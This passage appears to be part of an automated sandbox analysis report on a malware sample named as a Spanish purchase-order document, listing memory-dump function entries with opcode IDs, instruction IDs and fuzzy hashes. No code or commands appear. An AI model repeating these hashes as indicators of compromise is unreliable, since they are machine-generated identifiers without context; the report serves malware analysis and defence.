                                                                                                              • Instruction Fuzzy Hash: EB0116B8A14508EFD700DBE8D699AA8BBF9AB49200F55D094D40D9B3A5D6319E00DB40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF4EA0 Relevance: .0, Instructions: 40COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e999c3c913b66a899510e7235c2e2cae7c1f40da3238219f3ffbf2174a52b4aa
                                                                                                              • Instruction ID: 1831d2b3ea01dda0c9724d7b5a7b0faafa44d9a8f26ebd0766b1239bd17f4d73
                                                                                                              • Opcode Fuzzy Hash: e999c3c913b66a899510e7235c2e2cae7c1f40da3238219f3ffbf2174a52b4aa
                                                                                                              • Instruction Fuzzy Hash: E201CC74E10219CFC744EFA8D445AAEBBB1BF48310F218555EA19E7361DB359D01CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730D013 Relevance: .0, Instructions: 40COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5de5843bde644c7be7ca244f100c5f4cb84744f62d75055db99ead3ad8e91124
                                                                                                              • Instruction ID: 0926ac3d2486856339dd9b05df733b1aa341dca08f78ef94a75e47d188f04f90
                                                                                                              • Opcode Fuzzy Hash: 5de5843bde644c7be7ca244f100c5f4cb84744f62d75055db99ead3ad8e91124
                                                                                                              • Instruction Fuzzy Hash: 64015AB0A26118CFD704CF94D5A49EC77BABB4E301F50A259E50EAB389C735AC44CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730CAED Relevance: .0, Instructions: 40COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7a7f0f84e55dbc55e0841d5792fbd31ccb73e3bcdddff5ac2c9a1dfa8431ee12
                                                                                                              • Instruction ID: 71fc9ebc3c054cf92a609a6c2dcdea56356677aac9b2546d6a7cac4398f95097
                                                                                                              • Opcode Fuzzy Hash: 7a7f0f84e55dbc55e0841d5792fbd31ccb73e3bcdddff5ac2c9a1dfa8431ee12
                                                                                                              • Instruction Fuzzy Hash: 0801DFF0A19258CFD704CB98C5A09EC7BBAFF4E301F94A658D40EAF289C330A800CB51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FECF68 Relevance: .0, Instructions: 39COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6169ac0b053c8d2e355fbe4993b25e076f33d10c98e196b2cdae7ee4c0fc6788
                                                                                                              • Instruction ID: 78f6d08a8e9483d497212f9c19459fec73fd7ba3f6b83f07553826716c9a448d
                                                                                                              • Opcode Fuzzy Hash: 6169ac0b053c8d2e355fbe4993b25e076f33d10c98e196b2cdae7ee4c0fc6788
                                                                                                              • Instruction Fuzzy Hash: 4501D132A1060AABCF10AFB5CC489CEFB76FFC9304F018729E10567210EB70A599CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730CC2D Relevance: .0, Instructions: 39COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2ccaa16f7c10256b5d75821c8f964edb773b9544ff8a70962145252f537ec64c
                                                                                                              • Instruction ID: 38c8f58cffca7a3d9bdf0c58d61b84b1d37b3b11036e45ab0822dbb96cbf478d
                                                                                                              • Opcode Fuzzy Hash: 2ccaa16f7c10256b5d75821c8f964edb773b9544ff8a70962145252f537ec64c
                                                                                                              • Instruction Fuzzy Hash: F9018FF091A258CFDB10CF58C6A4AECBBB9FF4A341F106699D44EAB685C3309941CF61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE5338 Relevance: .0, Instructions: 37COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e395180bb7e708580eb9399bfc5aa2e18334f70eb2416f97890815d3ef5dfc2a
                                                                                                              • Instruction ID: 2e570a90a89753691ccea36ecbbdeeea28ee60339d51a16bbae5b3b8c464171c
                                                                                                              • Opcode Fuzzy Hash: e395180bb7e708580eb9399bfc5aa2e18334f70eb2416f97890815d3ef5dfc2a
                                                                                                              • Instruction Fuzzy Hash: D6F0B432901258EFDF51DF548C015DE3F71EE06238B1445A7F9A4DB152C379EA268BA2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306CD0 Relevance: .0, Instructions: 36COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 12b0d9ed1cbf5388b2945e80ae4724dd90acdba15479c2fc79e003ff075bfd8d
                                                                                                              • Instruction ID: f9704bc89ca2edcdd39b3aeaab7ccda9f83210e4fe098065651019422255c06c
                                                                                                              • Opcode Fuzzy Hash: 12b0d9ed1cbf5388b2945e80ae4724dd90acdba15479c2fc79e003ff075bfd8d
                                                                                                              • Instruction Fuzzy Hash: F9F0B4B3A04208AFFF08DF68D86199E7FA9DF44214B0480A7E408DB255E631A9648799
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0B40 Relevance: .0, Instructions: 35COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 497b044bdb83a074571a49c9b26d4916fcdeb537819e9258666fc7e8eec01240
                                                                                                              • Instruction ID: ae97b05aad456345c7ed418b46c621c766e55f4ae04ca16c79bad362529c52be
                                                                                                              • Opcode Fuzzy Hash: 497b044bdb83a074571a49c9b26d4916fcdeb537819e9258666fc7e8eec01240
                                                                                                              • Instruction Fuzzy Hash: D1F05435F10204CFEAA49A298850B6A3BEBABC4666F184069D615CB360DEB1EC11C7A5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07308380 Relevance: .0, Instructions: 35COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ae413a54e8d11d1e77c593b4d99ebcf3d24813244d3b45df3fa9869e691e49e3
                                                                                                              • Instruction ID: 79e82171a7587f8677a4e47af7af1004e4ddc89cc330f9c72266e84f3db56b05
                                                                                                              • Opcode Fuzzy Hash: ae413a54e8d11d1e77c593b4d99ebcf3d24813244d3b45df3fa9869e691e49e3
                                                                                                              • Instruction Fuzzy Hash: 2CF0B47220420AAFEF09DF64D8518DE7FF9EF44210B1080AAE409D7260E7309965C750
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730B056 Relevance: .0, Instructions: 35COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 43b7c86e0852b4b2924b7efb6a58b00c978e3336dcd7c73e42e7cd1dba6abf90
                                                                                                              • Instruction ID: f45c3027089123b482a1d818366b915333d468c12f524317ff855c50550cc56c
                                                                                                              • Opcode Fuzzy Hash: 43b7c86e0852b4b2924b7efb6a58b00c978e3336dcd7c73e42e7cd1dba6abf90
                                                                                                              • Instruction Fuzzy Hash: 47F06DF095A259CBFB04CA68CCA06FDF3BDEB0F201F006068C00E62596CB701A448B91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFD890 Relevance: .0, Instructions: 34COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5c3b1e208e7d9c1df78b200db4b00e517849ce5b64800153fe1bad0e61dee59c
                                                                                                              • Instruction ID: e6df6b87cfa9bbbfe4a3435783a198732aa7581816dbaa16d37effa48fcf8f76
                                                                                                              • Opcode Fuzzy Hash: 5c3b1e208e7d9c1df78b200db4b00e517849ce5b64800153fe1bad0e61dee59c
                                                                                                              • Instruction Fuzzy Hash: 1701B275E00208AFDB44DFA9C589A9DBBF5EF48300F05C1A8E908AB361EA35DA41DF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEBA28 Relevance: .0, Instructions: 33COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d8731b022fa0123778349365501ba1473185965d125f5cd6beec414a274491b3
                                                                                                              • Instruction ID: 5c6e23a10e188278a183e898bb257619c2b245f005f6522d48b562e58d6b8f1f
                                                                                                              • Opcode Fuzzy Hash: d8731b022fa0123778349365501ba1473185965d125f5cd6beec414a274491b3
                                                                                                              • Instruction Fuzzy Hash: A6F0A732549354DFE3565B78C4415663FA8EB5320134498EBE069CB762C635D889C752
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0B3D Relevance: .0, Instructions: 33COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: bdbf015fef22c0e3315be643f0656c43d1606822a2d65a27306c0666e01c498f
                                                                                                              • Instruction ID: 75087eedc219883f0f8c66265827655e539e142d2a97b58faf02c8d7147c932f
                                                                                                              • Opcode Fuzzy Hash: bdbf015fef22c0e3315be643f0656c43d1606822a2d65a27306c0666e01c498f
                                                                                                              • Instruction Fuzzy Hash: 24F08235F10204CFDAA49A24D850B6E3BEBEBC4665F094069D615CB360DEB5DC12C791
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF4B30 Relevance: .0, Instructions: 31COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8659e0917c5b0c23179c47d2098d4711f8d17caa1527434fa485ccd248e4e21d
                                                                                                              • Instruction ID: c031a0cbe7330551beef2526aba577e4cc31038fce29912a658c3ab641e190fd
                                                                                                              • Opcode Fuzzy Hash: 8659e0917c5b0c23179c47d2098d4711f8d17caa1527434fa485ccd248e4e21d
                                                                                                              • Instruction Fuzzy Hash: 4BF0FE71A247048F9F68CF18D442A9A77E5FB053587204D5DE516CF302D762E8038BC9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE5842 Relevance: .0, Instructions: 31COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c6d3b765fd165ffa3b37370ead3dcad3fc975d24f69b40458fc5e7170fc36530
                                                                                                              • Instruction ID: 4861d195ad12d55e6c6371c964410e8e28264e4d1f0e2db57e35bd581c439305
                                                                                                              • Opcode Fuzzy Hash: c6d3b765fd165ffa3b37370ead3dcad3fc975d24f69b40458fc5e7170fc36530
                                                                                                              • Instruction Fuzzy Hash: E7011935A00625CFCB14DF68C888E99B7B1FF48315F1481A9E155AB3A1CB34EC46CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C42F Relevance: .0, Instructions: 31COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e88b509f7066790e0d9fcbf1f37fb1c4780bb117659c5f87c7d130eb40755d3b
                                                                                                              • Instruction ID: 815d87fc5c01fa5687be9b6894f00c7c4d7bec35b6493bd866690560566e8ab3
                                                                                                              • Opcode Fuzzy Hash: e88b509f7066790e0d9fcbf1f37fb1c4780bb117659c5f87c7d130eb40755d3b
                                                                                                              • Instruction Fuzzy Hash: AFF03AB5D09348EFDB02DFB4D4546ADBFB5EB0A300F0081EAD84897392D2395A54DFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073051EB Relevance: .0, Instructions: 30COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f97a0b8caec5d1170602eb01af5069fb3a5fbfbc85f3e07d4aaf08f4b4829396
                                                                                                              • Instruction ID: b24a38bdeb7236704dfd42e4dbc72eb4e2f1565c46b788a9014a836792967bae
                                                                                                              • Opcode Fuzzy Hash: f97a0b8caec5d1170602eb01af5069fb3a5fbfbc85f3e07d4aaf08f4b4829396
                                                                                                              • Instruction Fuzzy Hash: 4DF05E70909249AFCB41DFB8D45569DBBF4EF4A200F1480EAD848D3392D6355E15CF80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF4B20 Relevance: .0, Instructions: 29COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8af953099c3557325cfe16860ef3f43f86a0c865f29e4d6f9e5d11affe76bfc6
                                                                                                              • Instruction ID: c76458c6461d952118336920c1eb1652cfca70c89f9d7acc065b905db26a467b
                                                                                                              • Opcode Fuzzy Hash: 8af953099c3557325cfe16860ef3f43f86a0c865f29e4d6f9e5d11affe76bfc6
                                                                                                              • Instruction Fuzzy Hash: A8E0ED32A1A7405F9B268B2894525DB3BE6BB4230431448AAE146CF252C721E807CB9A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEC288 Relevance: .0, Instructions: 29COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 65818085fbed5a04863c02ef7627932fa2daccb37d9abf53ddfccb107a309071
                                                                                                              • Instruction ID: 33f0a843f65037af82747700f514c91914ffe60eb2de63547689ecd739187349
                                                                                                              • Opcode Fuzzy Hash: 65818085fbed5a04863c02ef7627932fa2daccb37d9abf53ddfccb107a309071
                                                                                                              • Instruction Fuzzy Hash: FFE0223165A3449FC3569B34C8108923FEAAE0221034580AFE0888BA62CB35E885CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEA228 Relevance: .0, Instructions: 28COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 08c952f2352cb8785c97ffa24a641abcb05ed6da5791f51b6feac6b8c15b73f3
                                                                                                              • Instruction ID: 90f9102a0102a7ae74d9aee49098e48c1b98937de63e24779c4fe8c5eb2e0696
                                                                                                              • Opcode Fuzzy Hash: 08c952f2352cb8785c97ffa24a641abcb05ed6da5791f51b6feac6b8c15b73f3
                                                                                                              • Instruction Fuzzy Hash: 83E0DF30B067219FC7AE37709C182FE7F694F82510B4004AEE842DB2E0DF26C942C790
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE8B10 Relevance: .0, Instructions: 28COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9ff45f06f9c7369720bad4e43c18cbaa18facb0c6beff2d6c5346bf375a6a57a
                                                                                                              • Instruction ID: f6149db6b73463b159fa9058aa2d9c912e6800c7d27092556d97ad5dbc5f429a
                                                                                                              • Opcode Fuzzy Hash: 9ff45f06f9c7369720bad4e43c18cbaa18facb0c6beff2d6c5346bf375a6a57a
                                                                                                              • Instruction Fuzzy Hash: ECF0E572B046005FC3109B19E894C5ABFE5EF8A26070580BEE50DCB321DA60AC048391
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303700 Relevance: .0, Instructions: 28COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f0c7cf21685bd1593f560193778e823cc69f8c7ebcfa7ac2626124248e0cd82a
                                                                                                              • Instruction ID: 2b90df14a9361f744203337aa8afc5d6addb76b3bcf035d55669d26d6faf7c2b
                                                                                                              • Opcode Fuzzy Hash: f0c7cf21685bd1593f560193778e823cc69f8c7ebcfa7ac2626124248e0cd82a
                                                                                                              • Instruction Fuzzy Hash: 65F039B140A38AAFD796EFB0A419399BFF8DB07200B1004A6C049C71A2EA350A659B91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF49F0 Relevance: .0, Instructions: 27COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 35cc17cdb50598318911eb19de89104762474969e55c57973042dc00b92babf8
                                                                                                              • Instruction ID: b2f741b9c3cba1432e447bdfa7058fd515a9aa4e3b0c796dc03357ec73448c60
                                                                                                              • Opcode Fuzzy Hash: 35cc17cdb50598318911eb19de89104762474969e55c57973042dc00b92babf8
                                                                                                              • Instruction Fuzzy Hash: D0E0DF3130A3641BC30A57688810BDA7BDE4F8A640F0580BBF2498B3E2C6A4680443B6
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEC238 Relevance: .0, Instructions: 27COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: cc1f13238ecbc8b9d77589f0dc7280f24990c8cbce70da6c811dd7c849d9b8df
                                                                                                              • Instruction ID: b097a93f4f2881c93b5897f1b252faa47aaa08ab1e2ecf39476ad9ab3332134b
                                                                                                              • Opcode Fuzzy Hash: cc1f13238ecbc8b9d77589f0dc7280f24990c8cbce70da6c811dd7c849d9b8df
                                                                                                              • Instruction Fuzzy Hash: DEE0263AA07340AFF762E3789C50AEA3FA6DB42235B045552F0409F650CF296C43C7E1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7914 Relevance: .0, Instructions: 27COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 08465266b64629f7b9a1af2bb737f3f1674b976061c13c7e4cd646727dec1e5d
                                                                                                              • Instruction ID: 0dedb0df8363e56344179e48574474977c134c1267e2550c0a69b8b8d88f0162
                                                                                                              • Opcode Fuzzy Hash: 08465266b64629f7b9a1af2bb737f3f1674b976061c13c7e4cd646727dec1e5d
                                                                                                              • Instruction Fuzzy Hash: 06E026327402105B8A44A65E988496EBBEDDBCA220341407AF10DC7321CD20EC064394
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730EC70 Relevance: .0, Instructions: 27COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b30f1c2807017943a32cb5729f60a9c79b48c2926956b7cad22690ebf7fd314b
                                                                                                              • Instruction ID: fce2a88aab511b8610b76b09a620b85e61047839127ed874ec4703b906a0adfa
                                                                                                              • Opcode Fuzzy Hash: b30f1c2807017943a32cb5729f60a9c79b48c2926956b7cad22690ebf7fd314b
                                                                                                              • Instruction Fuzzy Hash: 52F0E5F8908209DFF724EBA9D8597AC7FBD9F86300F00C4328409662D4DE745546CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE8B20 Relevance: .0, Instructions: 24COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7b795c87a28f9e55e054bba4bfb568f747a5315f34f80a390713331c7c1425de
                                                                                                              • Instruction ID: 5acff72b72404892185e71b8511b5d8cdc52902dbf9f384921babe7570b71862
